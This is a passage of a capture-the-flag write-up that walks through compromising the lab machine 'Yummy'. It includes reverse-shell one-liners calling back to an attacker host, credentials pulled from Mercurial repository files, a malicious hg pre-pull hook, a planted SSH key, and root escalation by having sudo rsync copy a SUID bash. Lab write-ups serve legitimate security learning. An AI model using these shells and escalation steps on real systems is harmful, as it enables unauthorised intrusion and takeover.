exec 5<>/dev/tcp/10.10.14.8/8888;cat <&5 | while read line; do $line 2>&5 >&5; done
bash -i 5<> /dev/tcp/10.10.14.8/8888 0<&5 1>&5 2>&5
bash -i 5<> /dev/tcp/10.10.14.8/8888 0<&5 1>&5 2>&5
nc 10.10.14.8 8888 -e bash
nc -nvlp 8888
Listening on 0.0.0.0 8888
Connection received on 10.10.11.36 42266
bash: cannot set terminal process group (24605): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:~$ 

User as qa

app-qatesting

Inside of the home directory of www-data there is an /app-qatesting directory. Inside this is a .hg directory. Searching for this online tells me this is Mercurial SCM, an alternative to git that is simpler to use. I can search qa-apptesting and this .hg directory for any potential credentials.

www-data@yummy:~/app-qatesting$ grep -inR password config
config/signature.py:22:    password=None,
grep: config/__pycache__/signature.cpython-311.pyc: binary file matches
grep: config/__pycache__/signature.cpython-312.pyc: binary file matches
www-data@yummy:~/app-qatesting$ grep -inR password .hg
grep: .hg/wcache/checkisexec: Permission denied
grep: .hg/store/data/app.py.i: binary file matches

Some binaries match with password inside them, I can check where with strings.

www-data@yummy:~/app-qatesting$ strings config/__pycache__/signature.cpython-312.pyc 
RSA)
default_backend)
serializationNi
password
backend)
Crypto.PublicKeyr
cryptography.hazmat.backendsr
cryptography.hazmat.primitivesr
sympy
	randprimer
phi_n
powr
key_data
	construct
export_key
private_key_bytes
load_pem_private_key
private_key
public_key
/opt/app/config/signature.py
<module>r"
www-data@yummy:~/app-qatesting$ strings .hg/store/data/app.py.i
`_ MO
\WQP]
Z:L*"
3F9]
--[snip]--
t[QRpn@/S
>ody
'app.secret_key = s.token_hex(32)
T sql = f"SELECT * FROM appointments WHERE_email LIKE %s"
#md5
9    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
V([Q
>GQ$
6    'user': 'qa',
    'password': 'jPAd!XQCtn8Oc@2B',
P8*p
kwJj
d[I})u
^+Wq@
$	JJKx8
D'<a

Potential database credentials here with the older chef credentials. Though given they are qa credentials maybe I can ssh in with them.

ssh qa@yummy.htb
qa@yummy.htb's password: 
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Oct 11 09:14:15 PM UTC 2024

  System load:  0.07              Processes:             270
  Usage of /:   63.2% of 5.56GB   Users logged in:       0
  Memory usage: 26%               IPv4 address for eth0: 10.10.11.36
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

10 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

qa@yummy:~$ cat ~/user.txt 
4a47e40567104-------------------

Pivot to dev

sudo as dev

git alternative

qa@yummy:~$ sudo -l
[sudo] password for qa: 
Matching Defaults entries for qa on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/

Mercurial SCM rears its head once again.

qa@yummy:/var/www/app-qatesting$ hg --version
Mercurial Distributed SCM (version 6.7.2)
(see https://mercurial-scm.org for more information)

Copyright (C) 2005-2023 Olivia Mackall and others
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Not a vulnerable verison…

qa@yummy:/tmp/test$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
abort: no repository found in '/tmp/test' (.hg not found)
qa@yummy:/tmp/test$ mkdir .hg
qa@yummy:/tmp/test$ chmod 777 .hg
qa@yummy:/tmp/test$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
requesting all changes
adding changesets
adding manifests
adding file changes
added 6 changesets with 129 changes to 124 files
new changesets f54c91c7fae8:6c59496d5251
(run 'hg update' to get a working copy)

From the pull option within the hg documentation:

”"”When cloning from servers that support it, Mercurial may fetch pre-generated data. When this is done, hooks operating on incoming changesets and changegroups may fire more than once, once for each pre-generated bundle and as well as for any additional remaining data. See hg help -e clonebundles for more.”””

Hooks operating on incoming changesets you say? Digging more into the documentation I found a way to define a hook as:

$ hg init hook-test
$ cd hook-test
$ echo '[hooks]' >> .hg/hgrc
$ echo 'commit = echo committed $HG_NODE' >> .hg/hgrc
$ cat .hg/hgrc
[hooks]
commit = echo committed $HG_NODE
$ echo a > a
$ hg add a
$ hg commit -m 'testing commit hook'
committed 992692c8ee9cc34fd37e597253c2069f55eec358

This is a way to run code during specific actions. The example code uses commit but I suspect I can use pull in its place. To run these hooks I need an hgrc file within .hg that uses the proper format. Luckily for me one of those files is present in the qa home directory.

qa@yummy:/tmp/test$ ls -al ~
total 48
drwxr-x--- 6 qa   qa   4096 Oct 11 21:21 .
drwxr-xr-x 4 root root 4096 May 27 06:08 ..
lrwxrwxrwx 1 root root    9 May 27 06:08 .bash_history -> /dev/null
-rw-r--r-- 1 qa   qa    220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 qa   qa   3771 May 27 14:47 .bashrc
drwx------ 2 qa   qa   4096 Oct 11 21:14 .cache
drwx------ 3 qa   qa   4096 May 28 16:24 .gnupg
-rw-rw-r-- 1 qa   qa    728 May 29 15:04 .hgrc
-rw------- 1 qa   qa     20 Oct 11 21:21 .lesshst
drwxrwxr-x 3 qa   qa   4096 May 27 06:08 .local
-rw-r--r-- 1 qa   qa    807 Mar 31  2024 .profile
drwx------ 2 qa   qa   4096 May 28 15:01 .ssh
-rw-r----- 1 root qa     33 Oct 11 17:03 user.txt
qa@yummy:/tmp/test$ cat ~/.hgrc
# example user config (see 'hg help config' for more info)
[ui]
# name and email, e.g.
# username = Jane Doe <jdoe@example.com>
username = qa

# We recommend enabling tweakdefaults to get slight improvements to
# the UI over time. Make sure to set HGPLAIN in the environment when
# writing scripts!
# tweakdefaults = True

# uncomment to disable color in command output
# (see 'hg help color' for details)
# color = never

# uncomment to disable command output pagination
# (see 'hg help pager' for details)
# paginate = never

[extensions]
# uncomment the lines below to enable some popular extensions
# (see 'hg help extensions' for more info)
#
# histedit =
# rebase =
# uncommit =
[trusted]
users = qa, dev
groups = qa, dev

I will add a reverse shell to /tmp then have the pull cause that script to be run. As of note a pull needs to happen so I empty the .hg directory to be empty minus the config file.

qa@yummy:/tmp/test$ cp ~/.hgrc .hg/
qa@yummy:/tmp/test$ nano .hg/.hgrc
qa@yummy:/tmp/test$ tail .hg/.hgrc 
# (see 'hg help extensions' for more info)
#
# histedit =
# rebase =
# uncommit =
[trusted]
users = qa, dev
groups = qa, dev
[hooks]
pull = /tmp/raccoonshell.sh
qa@yummy:/tmp/test$ rm -rf .hg/*
qa@yummy:/tmp/test$ cp hgrc .hg
qa@yummy:/tmp/test$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/

I run this and it doesn’t run my reverse shell I setup. Perhaps I need to read more. Back to the documentation at https://book.mercurial-scm.org/read/hook.html#sec-hook-ref there are defined hooks, some of which are prepended with pre. First I tried prepull with no results, but after trying pre-pull I got it to run my script.

qa@yummy:/tmp/test$ nano .hg/.hgrc
qa@yummy:/tmp/test$ tail .hg/.hgrc 
# (see 'hg help extensions' for more info)
#
# histedit =
# rebase =
# uncommit =
[trusted]
users = qa, dev
groups = qa, dev
[hooks]
pre-pull = /tmp/raccoonshell.sh
qa@yummy:/tmp/test$ rm -rf .hg/*
qa@yummy:/tmp/test$ cp hgrc .hg
qa@yummy:/tmp/test$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
nc -nvlp 7777
Listening on 0.0.0.0 7777
Connection received on 10.10.11.36 44582
I'm out of office until October 12th, don't call me
dev@yummy:/tmp/test$ groups
groups
dev

I make a keypair for a better session.

dev@yummy:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCm2ynxw7aVOlTrn8YhHzH9aBxIvVj3AhGDoMk8OarFz2+eHkddCxy6RjMOrpV22bR5xrn/oYpehU4Io6RfiwlCLzncftUcqRjL5sfrVy/vtcir9VS2R9Z/qVPlv1y+xK5+pWoTFv0EZZU6VTkDmGKR5tNs8npAdTikoCN018iLkuZqVuWIO3iUXxFFoHKdxJ7GnkgfDFNOKeQueqwwzQ0hmDPatHIS+nj/xNuvU4r3F8TmhzqsDs1gYFwMlERuWw27jbV0nktNgWJKYY2BN15OZEm/EcECtcfo8BfhRvq0/zbZR2Gm8UFKtBsz0+cIddGGa10mtoLziJkdOg9Pb1cYb8a1nF58HXh332hmjegSWWH9+CSDhy1VQShVAlt/LLWE+tQOTHVKDfb2BVaISDmEn2FwPjaU0W5xVi/0x0o/lQi3zeNZtybIEC/RRtI9la5otEizxK7o+V60rb+o8XvXWs3d6L72HExMa5TDtgxVBzz1Q17MQh2M4YCBi59fhSU= raccoon@cyberraccoon-virtualbox" > authorized_keys
ssh dev@yummy.htb -i dev
I'm out of office until October 12th, don't call me
dev@yummy:~$ 

Root

enum

dev@yummy:~$ find / -perm /4000 2>/dev/null
/usr/bin/su
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/sudo
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/fusermount3
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
dev@yummy:~$ getcap / -r 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
dev@yummy:~$ sudo -l
Matching Defaults entries for dev on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/

sudo rsync

Rsync is used for remote syncing, and since I am a dev I have the app-production directory in my home directory ergo I can change anything I want to in it.

dev@yummy:~$ cd app-production/
dev@yummy:~/app-production$ ls
app.py  config  middleware  static  templates
dev@yummy:~/app-production$ ls /opt/app/
app.py  config  middleware  __pycache__  static  templates
dev@yummy:~/app-production$ cp /bin/bash .
dev@yummy:~/app-production$ chmod u+s bash
dev@yummy:~/app-production$ ls
app.py  bash  config  middleware  static  templates
dev@yummy:~/app-production$ ls -al
total 1456
drwxr-xr-x 7 dev dev    4096 Oct 11 22:13 .
drwxr-x--- 7 dev dev    4096 Oct 11 22:12 ..
-rw-rw-r-- 1 dev dev   10037 May 28 20:19 app.py
-rwsr-xr-x 1 dev dev 1446024 Oct 11 22:13 bash
drwxr-xr-x 3 dev dev    4096 May 28 13:59 config
drwxrwxr-x 5 dev dev    4096 May 28 14:25 .hg
drwxr-xr-x 3 dev dev    4096 May 28 13:59 middleware
drwxr-xr-x 6 dev dev    4096 May 28 13:59 static
drwxr-xr-x 2 dev dev    4096 May 28 14:13 templates

Maybe given rsync is a root run script it will copy an SUID as root? Worth a shot.

dev@yummy:~$ cp /bin/bash app-production/
dev@yummy:~$ chmod u+s app-production/bash 
dev@yummy:~$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
dev@yummy:~$ ls /opt/app
app.py  bash  config  middleware  __pycache__  static  templates
dev@yummy:~$ /opt/app/bash -p
I'm out of office until October 12th, don't call me
dev@yummy:~$ whoami
dev

Although I didn’t get root off this it did give me an idea to check rsync’s options to potentially add one. I am looking for something to change the owner of something, so I grep for own.

dev@yummy:~$ rsync -h | grep own
--owner, -o              preserve owner (super-user only)
--chown=USER:GROUP       simple username/groupname mapping
--help, -h (*)           show this help (* -h is help only on its own)
dev@yummy:~$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown=root:root /opt/app/
dev@yummy:~$ ls -al /opt/app
total 40
drwxrwxr-x 7 root www-data  4096 Oct 11 22:18 .
drwxr-xr-x 3 root root      4096 Sep 30 08:16 ..
-rw-r--r-- 1 root root     11979 Sep 25 13:54 app.py
drwxr-xr-x 3 root root      4096 May 17 20:41 config
drwxr-xr-x 3 root root      4096 May 16 18:01 middleware
drwxrwxr-x 2 root root      4096 Sep 25 14:00 __pycache__
drwxr-xr-x 6 root root      4096 May 14 16:08 static
drwxr-xr-x 2 root root      4096 Sep 25 13:58 templates

Well that seems to work with my initial idea. Now I can add bash as an SUID to be copied into /opt/app and get root by adding --chown=root:root.

dev@yummy:~$ cp /bin/bash app-production/
dev@yummy:~$ chmod u+s app-production/bash 
dev@yummy:~$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown=root:root /opt/app/
dev@yummy:~$ /opt/app/bash -p
bash-5.2# cat /root/root.txt
62fef8ffe844e-------------------